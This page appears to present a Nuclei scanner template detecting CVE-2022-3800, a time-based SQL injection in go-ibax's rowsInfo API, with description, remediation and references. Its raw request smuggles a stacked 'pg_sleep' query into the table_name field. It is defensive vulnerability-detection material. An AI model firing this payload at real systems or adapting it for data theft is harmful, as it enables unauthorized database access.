IBAX - SQL Injection

ID: CVE-2022-3800

Severity: high

Author: JC175

Tags: time-based-sqli,cve2022,cve,ibax,go-ibax,sqli

Description

IBAX go-ibax functionality is susceptible to SQL injection via the file /api/v2/open/rowsInfo. The manipulation of the argument table_name leads to SQL injection, and the attack may be launched remotely. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

id: CVE-2022-3800

info:
  name: IBAX - SQL Injection
  author: JC175
  severity: high
  description: |
    IBAX go-ibax functionality is susceptible to SQL injection via the file /api/v2/open/rowsInfo. The manipulation of the argument table_name leads to SQL injection, and the attack may be launched remotely. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.
  remediation: |
    To remediate this vulnerability, ensure that all user-supplied input is properly validated and sanitized before being used in SQL queries. Implement parameterized queries or use an ORM framework to prevent SQL injection attacks.
  reference:
    - https://github.com/IBAX-io/go-ibax/issues/2061
    - https://vuldb.com/?id.212636
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3800
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-3800
    cwe-id: CWE-707,CWE-89
    epss-score: 0.03544
    epss-percentile: 0.91587
    cpe: cpe:2.3:a:ibax:go-ibax:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ibax
    product: go-ibax
  tags: time-based-sqli,cve2022,cve,ibax,go-ibax,sqli

http:
  - raw:
      - |
        @timeout: 15s
        POST /api/v2/open/rowsInfo HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        order=1&table_name=pg_user"%3b+select+pg_sleep(6)%3b+--"&limit=1&page=1

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "usesysid")'
        condition: and
# digest: 4a0a00473045022100b284a2da56dee50759d321741aeddb7146aeec5941d4905bb52e34a6572a44a102205a6869692d75260ca673cdd42334bae99170b3f5f91955ac64a2ad4f68bd908a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-3800.yaml"

View on Github